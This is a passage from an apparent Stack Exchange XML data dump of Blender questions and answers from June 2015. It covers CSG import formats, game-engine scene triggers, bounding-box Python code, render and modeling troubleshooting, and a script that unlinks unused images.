don't support csg operations (because I have read sufficiently deep into their specifications to be sure). I think that .bvh and .fbx are motion capture formats, and that .svg is a 2D format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that .x3d/.wrl doesn't support CSG operations either. I also guess that there simply aren't any portable non-proprietary file formats supporting CSG operations, independent of Blender and its supported input formats. Are my guesses and assumptions correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more limited form of CSG are overlapping (solid) objects, where an order of the solids is specified and determines which object wins in case of overlaps. Does any of the above formats (or their implementation in Blender) supports this more limited form of CSG?&lt;/p&gt;&#xA;" OwnerUserId="14939" LastActivityDate="2015-06-11T14:38:55.020" Title="Is there a file format with CSG operations that blender can import?" Tags="&lt;import&gt;&lt;file-format&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32282" PostTypeId="1" CreationDate="2015-06-11T15:25:26.797" Score="1" ViewCount="427" Body="&lt;p&gt;Blender v2.71&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So working on a game in BGE, I can switch from main menu scene to game scene but how do I get the character to get near an object and that object switches to a new scene?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the near sensor and adding property: player &gt; and controller &gt; scene actuator/ mode: set scene/ scene: scene&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But every time my character (property player: float) gets near the object nothing happens&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/264/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=264&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14946" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-06-11T19:04:00.080" Title="How to create trigger for character to switch scenes in BGE?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-06-11T22:08:22.093" ContentLicense="CC BY-SA 3.0" />
  <row Id="32283" PostTypeId="1" AcceptedAnswerId="32288" CreationDate="2015-06-11T15:30:08.607" Score="2" ViewCount="4409" Body="&lt;p&gt;I want to compute the total scene bounding box, so I can fit the scene in rendered image automatically. I have found &lt;code&gt;bound_box&lt;/code&gt;. But why are there so many values&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;bpy_float[3], Object.bound_box&amp;gt;&#xA;&amp;lt;bpy_float[3], Object.bound_box&amp;gt;&#xA;&amp;lt;bpy_float[3], Object.bound_box&amp;gt;&#xA;&amp;lt;bpy_float[3], Object.bound_box&amp;gt;&#xA;&amp;lt;bpy_float[3], Object.bound_box&amp;gt;&#xA;&amp;lt;bpy_float[3], Object.bound_box&amp;gt;&#xA;&amp;lt;bpy_float[3], Object.bound_box&amp;gt;&#xA;&amp;lt;bpy_float[3], Object.bound_box&amp;gt;&#xA;&amp;lt;bpy_float[3], Object.bound_box&amp;gt;&#xA;&amp;lt;bpy_float[3], Object.bound_box&amp;gt;&#xA;&amp;lt;bpy_float[3], Object.bound_box&amp;gt;&#xA;&amp;lt;bpy_float[3], Object.bound_box&amp;gt;&#xA;&amp;lt;bpy_float[3], Object.bound_box&amp;gt;&#xA;&amp;lt;bpy_float[3], Object.bound_box&amp;gt;&#xA;&amp;lt;bpy_float[3], Object.bound_box&amp;gt;&#xA;&amp;lt;bpy_float[3], Object.bound_box&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There should be 6 values (x_min,y_min,z_min) and (x_max,y_max,z_max)&lt;/p&gt;&#xA;" OwnerUserId="3258" LastEditorUserId="241" LastEditDate="2015-06-11T15:54:29.783" LastActivityDate="2015-06-11T20:33:23.787" Title="What are all values in bound_box?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32285" PostTypeId="2" ParentId="32283" CreationDate="2015-06-11T15:58:45.603" Score="2" Body="&lt;p&gt;Each object that has a &lt;code&gt;bound_box&lt;/code&gt; property will return &lt;em&gt;8&lt;/em&gt; values that represent the bounding information. The 8 values describe the corners of the bounding box itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have 16 values I presume that is because you have 2 objects in the scene (though it isn't clear from your question what you might have typed in to return all 16 values).&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-06-11T15:58:45.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32286" PostTypeId="2" ParentId="32282" CreationDate="2015-06-11T16:18:28.897" Score="1" Body="&lt;p&gt;The &quot;property&quot; actuator on it's own only senses the value of a property. This is useful if you want to make sure something is at a certain value (i.e. Money = $250--&gt; &lt;em&gt;AND&lt;/em&gt;--&gt; buy laptop) but it really has no direct sense of the physical world. The sensors that do are called the physics sensors.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Near: senses when a object is within a certain range.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Collision: senses if an object is being touched.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Radar: works like &quot;Near&quot; but not Omni-directional.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ray: sends an invisible &quot;beam&quot;, sense if something touches or obstructs the beam.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As you can probably see, the sensor you want to use is &quot;Near&quot;, since it will sense if your player is near a certain object in the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put the sensor on the object that you want to sense the player and set its property value to &quot;player&quot;. play with the distance values till you get a result you like, make sure &quot;reset&quot; stay a tad higher than the &quot;distance&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NTurO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-06-11T16:18:28.897" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32287" PostTypeId="1" AcceptedAnswerId="32294" CreationDate="2015-06-11T16:28:04.457" Score="5" ViewCount="397" Body="&lt;p&gt;I'm trying to make an awesome render of an office building in Blender 2.7. Here's what it looks like in my 3D workspace view so far.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FyBja.png&quot; alt=&quot;Before the render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been toiling over the wire frame and 3D aspects of it, and then checking to see how it actually renders periodically. When I first started, it seemed to be rendering just fine. But then, when I was about 25% of the way done with building my model, I clicked render and this weird black image of it shows up. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/g3yXP.png&quot; alt=&quot;After it renders&quot;&gt;&#xA;Also, I'm quite certain that it doesn't have to do with the lighting, as I have 4 lamps placed around the scene. I'm starting to get a little concerned that when I'm all done with pouring hours into this, I'm not going to be able to render it properly. Does anyone know what might be going wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: I tried adding a white material to the floor part with the chairs on it, but it showed up like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N0t9g.png&quot; alt=&quot;after a plain white material was added to the floor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend:&lt;br&gt;&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/263/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=263&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14947" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-06-11T18:30:04.987" Title="Cycles render showing up black and weird" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32288" PostTypeId="2" ParentId="32283" CreationDate="2015-06-11T16:37:12.530" Score="14" Body="&lt;p&gt;You will get 8 values only,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; obj = bpy.context.active_object&#xA;&amp;gt;&amp;gt;&amp;gt; obj.bound_box&#xA;bpy.data.objects['Cube'].bound_box&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; [v[:] for v in obj.bound_box]&#xA;[(-1.0, -1.0, -1.0), &#xA; (-1.0, -1.0, 1.0),&#xA; (-1.0, 1.0, 1.0),&#xA; (-1.0, 1.0, -1.0),&#xA; (1.0, -1.0, -1.0),&#xA; (1.0, -1.0, 1.0),&#xA; (1.0, 1.0, 1.0),&#xA; (1.0, 1.0, -1.0)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ssfmv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for Suzanne it would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aJ2Wp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some code &lt;a href=&quot;http://blenderscripting.blogspot.nl/2013/06/named-tuples-replacement.html&quot; rel=&quot;noreferrer&quot;&gt;I wrote about 2 years ago&lt;/a&gt; to get x.min, x.max, etc., and distance over the axis for &lt;em&gt;x, y and z&lt;/em&gt;. With instructions how to use it. (I have this tucked away in a module so I just import the function when I need it)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;def bounds(obj, local=False):&#xA;&#xA;    local_coords = obj.bound_box[:]&#xA;    om = obj.matrix_world&#xA;&#xA;    if not local:    &#xA;        worldify = lambda p: om * Vector(p[:]) &#xA;        coords = [worldify(p).to_tuple() for p in local_coords]&#xA;    else:&#xA;        coords = [p[:] for p in local_coords]&#xA;&#xA;    rotated = zip(*coords[::-1])&#xA;&#xA;    push_axis = []&#xA;    for (axis, _list) in zip('xyz', rotated):&#xA;        info = lambda: None&#xA;        info.max = max(_list)&#xA;        info.min = min(_list)&#xA;        info.distance = info.max - info.min&#xA;        push_axis.append(info)&#xA;&#xA;    import collections&#xA;&#xA;    originals = dict(zip(['x', 'y', 'z'], push_axis))&#xA;&#xA;    o_details = collections.namedtuple('object_details', 'x y z')&#xA;    return o_details(**originals)&#xA;&#xA;&quot;&quot;&quot; &#xA;obj = bpy.context.object&#xA;object_details = bounds(obj)&#xA;&#xA;a = object_details.z.max&#xA;b = object_details.z.min&#xA;c = object_details.z.distance&#xA;&#xA;print(a, b, c)&#xA;&#xA;&quot;&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-11T20:33:23.787" LastActivityDate="2015-06-11T20:33:23.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32289" PostTypeId="2" ParentId="32272" CreationDate="2015-06-11T16:57:43.733" Score="3" Body="&lt;p&gt;The lamp output node is not intended for use with surfaces, as a matter of fact I'm surprised it worked at all in viewport render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine for me if you replace it with a material output node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0p3hP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-06-11T16:57:43.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32290" PostTypeId="1" AcceptedAnswerId="32291" CreationDate="2015-06-11T17:05:39.553" Score="2" ViewCount="727" Body="&lt;p&gt;I'm totally new to Blender. Excuse me, if my problem is dumb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to model something rather simple from a mesh. A handle. When I try to merge vertices of those two highlighted faces, I'm getting pretty awful result with subsurf modifier. The same thing happens, when I snap one face to another and then remove doubles. I guess the root of the problem is something simple, but can't figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CGyCd.jpg&quot; alt=&quot;Highlighted faces I want to merge&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G76OT.jpg&quot; alt=&quot;Bad result with subsurf modifier&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14948" LastEditorUserId="241" LastEditDate="2015-06-11T23:05:50.577" LastActivityDate="2015-06-11T23:05:50.577" Title="Why is the subsurf modifier not creating smooth geometry?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32291" PostTypeId="2" ParentId="32290" CreationDate="2015-06-11T17:14:54.453" Score="4" Body="&lt;p&gt;Scale along the &lt;code&gt;Y&lt;/code&gt; axis to &lt;code&gt;0&lt;/code&gt; (&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;kbd&gt;Y&lt;/kbd&gt; &gt; &lt;kbd&gt;0&lt;/kbd&gt;), delete the faces (&lt;kbd&gt;X&lt;/kbd&gt; &lt;em&gt;&gt; Faces&lt;/em&gt;), and remove doubles (&lt;kbd&gt;W&lt;/kbd&gt; &lt;em&gt;&gt; Remove Doubles&lt;/em&gt;). The issue you are having is there are internal faces, if you just remove the doubles, then there is still a face inside of the mesh, which leads to this weird artifact. &lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-06-11T17:23:33.347" LastActivityDate="2015-06-11T17:23:33.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32292" PostTypeId="1" AcceptedAnswerId="32295" CreationDate="2015-06-11T17:25:15.017" Score="2" ViewCount="1528" Body="&lt;p&gt;Is there a way in Blender to create per-face/per-vertex normals?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I can find for now, is per-vertex normal. If, with a bmesh, I'm going into a face and then the loop. But for each item in the loop, I can't find a normal. There's a &quot;vert&quot; property, which has a normal. But that vertex is shared with adjacent faces. So, if I modify that normal, it changes the normal of this vertex on the other faces it's on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to achieve this? Or maybe it's like Max and it has a sort of layer of it!&lt;/p&gt;&#xA;" OwnerUserId="14949" LastEditorUserId="3078" LastEditDate="2015-06-11T18:20:08.683" LastActivityDate="2015-06-11T18:20:08.683" Title="Is there a way to create per-face/per-vertex normals?" Tags="&lt;vertices&gt;&lt;normals&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32293" PostTypeId="1" CreationDate="2015-06-11T17:46:22.970" Score="7" ViewCount="1128" Body="&lt;p&gt;I have a particle system that adds some details to a texture. However when I bake the texture down, any area that is transparent makes the bake transparent, even though there is another object beneath the transparent one.&#xA;It appears that the default Bake Mode Full Render setting renders as if the Alpha setting under Shading (render tab) is set to Transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When baking objects on to a texture, how can I disable alpha and just get the color as it would be in a render (reflections/refractions of the sky instead of Alpha pixels making holes)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I am making the particle system real and joining it first, so that it correctly renders and does not make the black silhouettes.&#xA;Id prefer an internal render solution if possible, but a cycles one is ok too!&lt;/p&gt;&#xA;" OwnerUserId="1849" LastEditorUserId="1849" LastEditDate="2015-06-12T08:43:33.267" LastActivityDate="2016-04-17T13:17:59.850" Title="Can I disable alpha when baking textures?" Tags="&lt;blender-internal-render-engine&gt;&lt;transparency&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32294" PostTypeId="2" ParentId="32287" CreationDate="2015-06-11T17:49:47.190" Score="4" Body="&lt;p&gt;The problem is that your entire building has a material on it &quot;realistic glass&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8JAUY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take this off and &lt;em&gt;viola&lt;/em&gt; problem solved. If you would like to put glass on one part of the mesh see &lt;a href=&quot;https://blender.stackexchange.com/questions/516/add-different-materials-to-different-parts-of-a-mesh&quot;&gt;this&lt;/a&gt; question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lVzGr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-06-11T17:49:47.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32295" PostTypeId="2" ParentId="32292" CreationDate="2015-06-11T17:52:11.430" Score="3" Body="&lt;p&gt;It is possible since 2.74 release (see the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.74/Modeling#Custom_Normals&quot; rel=&quot;nofollow&quot;&gt;release notes&lt;/a&gt;). Upcoming 2.75 release will include some rather important fixes for them too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can only manipulate them in 'Object' mode though (i.e. not in BMesh), and there are several other limitations that may be addressed in future - in a few words, they are mostly procedural currently (through modifiers), and you should only use them on final topology, any topology change (adding/removing verts/edges/faces, or even applying negative scaling) will more or less break them.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-06-11T17:52:11.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32296" PostTypeId="1" CreationDate="2015-06-11T18:21:38.960" Score="5" ViewCount="1786" Body="&lt;p&gt;I have some old models that I need to repair. When I use Tris to Quads it doesn't work properly preserving the edgeloops because of the curvature of the models. But the UV map of the model is perfectly squared. Is there a quick way to remove the unwanted edges using the UV map? I can do that manually but it takes way too much time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JT7tB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/265/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=265&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2017-08-23T19:32:54.103" Title="Tris to Quads using UV map" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;uv&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32298" PostTypeId="1" CreationDate="2015-06-11T18:46:16.280" Score="5" ViewCount="520" Body="&lt;p&gt;I want my particles to form a pyramid on the ground; how can I do that?&#xA;- It seems not possible, how can i make them settle in a cup or somethign like that; i mean the settings to put for cup's plane or any tip.&#xA;Thanks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dw1SI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14934" LastEditorUserId="14934" LastEditDate="2015-06-12T21:57:49.157" LastActivityDate="2015-06-12T21:57:49.157" Title="How can I get particles to collide with objects?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32301" PostTypeId="1" AcceptedAnswerId="32310" CreationDate="2015-06-11T19:13:55.720" Score="5" ViewCount="1733" Body="&lt;p&gt;I had a big project that I separated into smaller parts, but in every single file I now have all the images that I had in that one huge project earlier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unity has some problems with images linked to a project, so I want to keep it clean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I delete all images from a project?&lt;/strong&gt;&#xA;I had a script that can delete unlinked images, but how do I unlink them all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j9qJj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9548" LastEditorUserId="241" LastEditDate="2015-06-11T20:24:20.553" LastActivityDate="2018-04-20T15:12:50.733" Title="How can I unlink all images from a project?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;image&gt;&lt;linked-data&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32302" PostTypeId="1" CreationDate="2015-06-11T19:22:22.350" Score="1" ViewCount="283" Body="&lt;p&gt;I am trying to composite two render layers, but compositor is acting a little odd. I unchecked backdrop for a moment and the image completely disappeared from compositor as well as the image editor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also noticed that I had to fiddle with the zoom level for the renders to show up, I'd have to reset zoom levels and still use &lt;kbd&gt;ALT&lt;/kbd&gt; + &lt;kbd&gt;V&lt;/kbd&gt; to zoom. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blender 2.74. Rendering on Phenom(tm)II X4 965 CPU. Any help? Can not afford to rerender.. Thanks for help in advance.&lt;/p&gt;&#xA;" OwnerUserId="14930" LastEditorUserId="1245" LastEditDate="2015-06-11T19:47:57.730" LastActivityDate="2015-06-11T19:47:57.730" Title="Cycles - losing renders layers" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32304" PostTypeId="1" CreationDate="2015-06-11T20:12:29.550" Score="0" ViewCount="157" Body="&lt;p&gt;Hi I have a similar problem with texture as other Blender user &lt;strong&gt;BUT the difference is that all the solutions posted here on the website&lt;/strong&gt;(blender beta) are not solving my issue..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;Picture 1&lt;/strong&gt;)  I build a game in Blender (** built &amp;amp; Works in Blender 2.57 only)** and &lt;strong&gt;textures were displaying at first&lt;/strong&gt; but since 2015 January the engine started to behave strange..&lt;img src=&quot;https://i.stack.imgur.com/Lhde8.jpg&quot; alt=&quot;Texture displaying&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;Picture 2&lt;/strong&gt;) Each time I load the Game this message pops up &lt;strong&gt;&quot;Texface Conversion problem (see error in console)&quot;&lt;/strong&gt;&lt;img src=&quot;https://i.stack.imgur.com/l8uTY.jpg&quot; alt=&quot;Error message&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;Picture 3&lt;/strong&gt;) Even after trying the solution you posted... the Game still &lt;strong&gt;looks Black in Texture Mode&lt;/strong&gt; and &lt;strong&gt;Total white in Game mode&lt;/strong&gt; (after presing &lt;strong&gt;P&lt;/strong&gt;)&lt;img src=&quot;https://i.stack.imgur.com/vcv42.png&quot; alt=&quot;Picture 3&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xnFXs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the MULTEXTURE Mode the textures appear...see picture below&#xA;(Picture 4)&lt;img src=&quot;https://i.stack.imgur.com/rpsMU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**Lastly.. I only use BLender 2.57 because Latest Versions give me more ERRORS* for example Animations stop working during GAME RUN time* &lt;/p&gt;&#xA;" OwnerUserId="14951" LastEditorUserId="5113" LastEditDate="2015-06-11T20:21:46.637" LastActivityDate="2015-06-11T20:21:46.637" Title="Game Engine Texture errors" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32305" PostTypeId="2" ParentId="32277" CreationDate="2015-06-11T20:19:46.747" Score="0" Body="&lt;p&gt;This is an issue in my own workflow, solved by doing two things. First, create more geometry, resulting in smaller faces in your mesh, that is, the same surface of the mesh will have more faces. With more faces in the same amount of UV, you can maintain the same level of detail in the texture on a given set of faces from a smaller part of the texture image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a large image as a texture, you can map different parts of your mesh to different parts of the texture. Let's suppose that the texture is a granite surface, and that the hue across the image is not uniform due to the lighting when the image was made. Consider this image of a piece of &lt;a href=&quot;http://bagayat.com/st_images/Rajasthan-Black-Granite/Rajasthan-Black-Granite-bnr_img.jpeg&quot; rel=&quot;nofollow&quot;&gt;black granite&lt;/a&gt;. You can unwrap part of your mesh into the darker portion of the image to the left, and another part of the mesh to the slightly lighter portion in the center. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I make textures for my own use in Blender, I try to use natural light, not too bright, and avoiding strong light sources which would make the texture have too much variance from dark to light. I set the camera so that I can get a good image handheld. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-06-11T20:29:45.240" LastActivityDate="2015-06-11T20:29:45.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32306" PostTypeId="2" ParentId="32301" CreationDate="2015-06-11T20:48:13.717" Score="1" Body="&lt;p&gt;Select the image in Image Editor and &lt;kbd&gt;Shift&lt;/kbd&gt; + click the &lt;kbd&gt;X&lt;/kbd&gt; Button. This will set the amount of users of that image to 0. When the file is saved the image will be discarded.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-06-11T20:48:13.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32307" PostTypeId="2" ParentId="32254" CreationDate="2015-06-11T20:58:23.353" Score="2" Body="&lt;p&gt;Each socket represent a different mapping function that maps surface coordinates to the texture coordinates. What you get from the socket is 3D vector array which can be manipulated with vector or math nodes to alter the mapping (usually using the Mapping node).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The different mapping options are explained here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/23173/what-methods-can-be-used-to-place-a-texture-onto-an-object/23174#23174&quot;&gt;How do texture coordinates work?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How the vectors itself and math works and what you can do with it is explained here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/26692/how-do-i-create-repeating-patterns-with-cycles-procedural-textures/26703#26703&quot;&gt;How do I create repeating patterns with cycles&amp;#39; procedural textures&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-06-11T20:58:23.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32308" PostTypeId="1" CreationDate="2015-06-11T21:03:31.833" Score="7" ViewCount="8404" Body="&lt;p&gt;I need to make a duplicate of a character with its armature. When I try to duplicate the character, the duplicate remains associated with the original armature. When I make a duplicate of the armature, and try to associate the duplicate character with it, it fails. How can I accomplish this? Or is there a way to make duplicates of the character and the armature together, making the duplicate character associated with the duplicate armature?&lt;/p&gt;&#xA;" OwnerUserId="14953" LastEditorUserId="3078" LastEditDate="2015-06-11T21:58:30.423" LastActivityDate="2019-09-02T07:28:09.263" Title="How can I duplicate a model and it's armature, so the rig still works?" Tags="&lt;armature&gt;&lt;workflow&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32310" PostTypeId="2" ParentId="32301" CreationDate="2015-06-11T21:49:35.587" Score="8" Body="&lt;p&gt;Combining &lt;a href=&quot;https://blender.stackexchange.com/questions/17732/how-to-get-list-of-all-images-in-a-scene-with-python&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-265181.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; answers, one may get code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    import bpy &#xA;&#xA;    for img in bpy.data.images:&#xA;        img.user_clear()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will unlink all images in the .blend (one currently selected in the &lt;em&gt;UV Image Editor&lt;/em&gt; will remain selected, but also will become unlinked, you can unlink one image by yourself or make improvement to the code). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you will only need to delete unlinked images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final code might look like this (thanks for evilferber's comment):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy &#xA;for img in bpy.data.images: &#xA;  img.user_clear() &#xA;for img in bpy.data.images: &#xA;  if not img.users: &#xA;    bpy.data.images.remove(img)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2017-02-01T22:24:15.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
